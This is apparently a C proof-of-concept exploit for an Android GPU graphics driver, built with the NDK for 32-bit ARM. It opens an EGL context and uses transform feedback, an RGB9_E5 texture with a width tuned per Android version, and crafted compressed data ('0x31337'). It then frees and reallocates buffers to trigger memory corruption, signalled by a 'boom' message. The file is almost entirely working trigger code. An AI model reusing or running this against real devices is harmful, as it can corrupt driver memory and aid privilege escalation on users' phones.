// $NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/clang poc.c -lGLESv3 -lGLESv2 -lEGL -lm --target=armv7a-linux-android34 -g -O0 -o poc_32

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <ctype.h>
#include <signal.h>

#include <GLES2/gl2.h>
#include <GLES2/gl2ext.h>
#include <GLES3/gl32.h>
#include <EGL/egl.h>

int initdisplay()
{
    EGLDisplay eglDisplay = eglGetDisplay(EGL_DEFAULT_DISPLAY);
    if (eglDisplay == EGL_NO_DISPLAY)
    {
        printf("[-] eglGetDisplay failed\n");
        return -1;
    }

    if (!eglInitialize(eglDisplay, 0, 0))
    {
        printf("[-] eglInitialize failed\n");
        return -1;
    }

    const EGLint config_attribs[] = {
        EGL_SURFACE_TYPE, EGL_PBUFFER_BIT,
        EGL_BLUE_SIZE, 8,
        EGL_GREEN_SIZE, 8,
        EGL_RED_SIZE, 8,
        EGL_RENDERABLE_TYPE, EGL_OPENGL_ES3_BIT,
        EGL_NONE};

    EGLConfig eglConfig;
    EGLint num_configs;
    if (!eglChooseConfig(eglDisplay, config_attribs, &eglConfig, 1, &num_configs))
    {
        printf("[-] eglChooseConfig failed\n");
        return -1;
    }

    const EGLint pbuffer_attribs[] = {
        EGL_WIDTH,
        16,
        EGL_HEIGHT,
        16,
        EGL_NONE,
    };

    EGLSurface eglSurface = eglCreatePbufferSurface(eglDisplay, eglConfig, pbuffer_attribs);
    if (eglSurface == EGL_NO_SURFACE)
    {
        printf("[-] eglCreatePbufferSurface failed\n");
        return -1;
    }

    const EGLint context_attribs[] = {
        EGL_CONTEXT_CLIENT_VERSION, 3,
        EGL_NONE};

    EGLContext eglContext = eglCreateContext(eglDisplay, eglConfig, EGL_NO_CONTEXT, context_attribs);
    if (eglContext == EGL_NO_CONTEXT)
    {
        printf("[-] eglCreateContext failed\n");
        return -1;
    }

    // Make the context current on this thread
    if (!eglMakeCurrent(eglDisplay, eglSurface, eglSurface, eglContext))
    {
        printf("[-] eglMakeCurrent failed\n");
        return -1;
    }

    printf("[*] EGL context created and made current.\n");
    return 0;
}

const GLchar *gShaderEsIn =
    "#version 300 es\n"
    "\n"
    "in vec4 in_data;\n"
    "out vec4 out_add_foo;\n"
    "out vec4 out_mul;\n"
    "void main(void) {\n"
    "   out_add_foo = in_data + vec4(2.0, 3.0, 4.0, 111.0);\n"
    "   out_mul = in_data * vec4(2.0, 3.0, 4.0, 5.0);\n"
    "}\n";

const GLchar *gShaderEsPr =
    "#version 300 es\n"
    "precision mediump float;\n"
    "out vec4 out_color;\n"
    "void main(void) {\n"
    "    out_color = vec4(1.0, 1.0, 1.0, 1.0);\n"
    "}\n";

GLuint PocCompileShader(const GLchar *shader_str, GLenum type)
{
    GLuint shader = glCreateShader(type);
    if (!shader)
    {
        printf("[-] glCreateShader\n");
        return 0;
    }
    glShaderSource(shader, 1, &shader_str, 0);
    glCompileShader(shader);
    GLint params;
    glGetShaderiv(shader, GL_COMPILE_STATUS, &params);
    if (!params)
    {
        printf("[-] GetShaderiv(shader, GL_COMPILE_STATUS, &params);");
        return 0;
    }

    return shader;
}

GLuint PocRunProgram()
{
    GLuint vertexShader = PocCompileShader(gShaderEsIn, GL_VERTEX_SHADER);
    GLuint fragmentShader = PocCompileShader(gShaderEsPr, GL_FRAGMENT_SHADER);
    GLuint program = glCreateProgram();
    if (!program)
    {
        printf("[-] CreateProgram\n");
        return 0;
    }
    glAttachShader(program, vertexShader);
    glAttachShader(program, fragmentShader);
    const GLchar *varyings[] = {"out_add_foo"};
    glTransformFeedbackVaryings(program, 1, varyings, GL_SEPARATE_ATTRIBS);
    glLinkProgram(program);
    GLint params;
    glGetProgramiv(program, GL_LINK_STATUS, &params);
    if (params != 1)
    {
        printf("[-] GetProgramiv\n");
        return 0;
    }
    return program;
}

int main(int argc, char *argv[])
{
    initdisplay();

    GLuint buffers[10];
    GLuint buffers_2[10];
    GLuint framebuffers[1];
    GLuint textures[1];
    GLuint textures_2[1];
    GLsizei width = 20; // Android 15+
    // GLsizei width = 22;
    GLuint buffers_3[1];
    GLuint ids[1];

    uint8_t *buf_256_cc = (uint8_t *)malloc(256);
    memset(buf_256_cc, 0xCC, 256);

    uint8_t *buf_4096 = (uint8_t *)malloc(4096);
    *((uint32_t *)buf_4096) = (uint32_t)0x018a0137;
    *(uint32_t *)(buf_4096 + 6) = (uint32_t)0x01890137; // compressed 0x31337
    *(uint32_t *)(buf_4096 + 0x12) = 0x01890137;
    *(buf_4096 + 0x3C) = (uint8_t)0x1;

    printf("lesgooo\n");
    glFinish();
    glGetString(GL_VENDOR);
    glGetString(GL_RENDERER);
    void *buf_256_v12 = calloc(256, 1);
    glGenBuffers(10, buffers);
    for (int i = 0; i != 10; ++i)
    {
        glBindBuffer(GL_ARRAY_BUFFER, buffers[i]);
        glBufferData(GL_ARRAY_BUFFER, 256, buf_256_v12, GL_DYNAMIC_DRAW);
    }
    glGenFramebuffers(1, framebuffers);
    glBindFramebuffer(GL_FRAMEBUFFER, framebuffers[0]);
    glGenTextures(1, textures);
    glBindTexture(GL_TEXTURE_2D, textures[0]);
    glTexImage2D(GL_TEXTURE_2D, 0, GL_RGB, 16, 16, 0, GL_RGB, GL_UNSIGNED_BYTE, 0);
    glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, textures[0], 0);
    glCheckFramebufferStatus(GL_FRAMEBUFFER);
    glGenTextures(1, textures_2); // Android 15+
    glBindTexture(GL_TEXTURE_2D_ARRAY, textures_2[0]); // Android 15+
    glGenTextures(1, textures_2);
    glBindTexture(GL_TEXTURE_2D, textures_2[0]);
    glTexStorage2D(GL_TEXTURE_2D, 1, GL_RGB9_E5, width, 1);
    glBindTexture(GL_TEXTURE_2D, 0);
    glGenBuffers(1, buffers_2);
    glBindBuffer(GL_ARRAY_BUFFER, buffers_2[0]);
    glEnableVertexAttribArray(0);
    glBufferData(GL_ARRAY_BUFFER, 256, buf_256_v12, GL_STATIC_DRAW);
    glGenBuffers(1, buffers_3);
    glGenTransformFeedbacks(1, ids);
    glBindBuffer(GL_TRANSFORM_FEEDBACK_BUFFER, buffers_3[0]);
    glBindTransformFeedback(GL_TRANSFORM_FEEDBACK, ids[0]);
    glBufferData(GL_TRANSFORM_FEEDBACK_BUFFER, 0x60, buf_256_cc, GL_DYNAMIC_DRAW);
    glVertexAttribPointer(0, 4, GL_FLOAT, 0, 0, 0);
    glBindBufferBase(GL_TRANSFORM_FEEDBACK_BUFFER, 0, buffers_3[0]);
    GLuint program = PocRunProgram();
    glUseProgram(program);
    glDrawArrays(0, 0, 3);
    glBeginTransformFeedback(0);
    glDrawArrays(0, 0, 3);
    glFinish();
    glBufferData(GL_TRANSFORM_FEEDBACK_BUFFER, 0x100, buf_256_cc, GL_DYNAMIC_DRAW);
    glBindTexture(GL_TEXTURE_2D, textures_2[0]);
    glTexSubImage2D(GL_TEXTURE_2D, 0, 0, 0, width, 1, GL_RGB, GL_HALF_FLOAT, buf_4096);
    int idx = 0;
    do
    {
        glBindBuffer(GL_ARRAY_BUFFER, buffers[idx]);
        glBufferData(GL_ARRAY_BUFFER, 0, 0, GL_DYNAMIC_DRAW);
        ++idx;
    } while (idx != 10);
    glBindBuffer(GL_ARRAY_BUFFER, 0);
    printf("boom\n");
    glDrawArrays(0, 0, 3);
    
    return 0;
}
